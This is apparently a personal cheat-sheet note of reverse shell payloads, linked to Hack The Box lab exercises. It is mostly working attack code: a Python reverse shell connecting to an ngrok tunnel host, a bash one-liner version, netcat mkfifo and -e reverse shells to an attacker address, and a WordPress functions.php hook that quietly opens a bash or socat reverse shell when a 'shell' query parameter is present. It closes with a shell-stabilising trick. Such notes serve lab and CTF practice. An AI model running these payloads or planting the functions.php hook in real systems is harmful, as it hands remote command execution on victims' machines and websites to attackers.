🧠 Reverse Shell Payloads

What is it?

• Concept: You know, it’s already in the name of the note.
• Impact: Remote code execution

Payloads

Python

Script:

import socket,os,pty
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('0.tcp.ap.ngrok.io',14771))
 
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
 
pty.spawn('/bin/bash')

Bash payloads:

python3 -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('0.tcp.ap.ngrok.io',14771));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" &

Netcat

Attacker machine

netcat -nvlp [port]

Victim machine

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attacker_IP] [port] >/tmp/f

If the victim has the correct netcat version installed (one that has -e flag)

nc -e /bin/sh [attacker_IP] [port]

WordPress functions.php

add_action('init', function () {
    if (!isset($_GET['shell'])) { return; }
    $ip = '$LHOST'; $p = '$LPORT';
	@shell_exec("setsid bash -c 'bash -i >& /dev/tcp/$ip/$p 0>&1' >/dev/null 2>&1 &");
	@shell_exec("setsid sh   -c 'socat TCP:$ip:$p EXEC:bash,pty,stderr,setsid,sigint,sane' >/dev/null 2>&1 &");
	echo "fired\n";
    exit;
});

Tricks

Interactive Shell

python3 -c "import pty; pty.spawn('/bin/bash')"

Then Ctrl + Z and run:

stty raw -echo; fg

Press Enter twice and done.

Related Usage

File	Created
HTB Challenge - Artificial University	Thursday, April 9th 2026, 11:36:53 pm
HTB Machine - Devhub	Sunday, September 6th 2026, 1:19:49 pm
HTB Machine - Enigma	September 07, 2026
HTB Machine - Paperwork	September 07, 2026

---

References: Link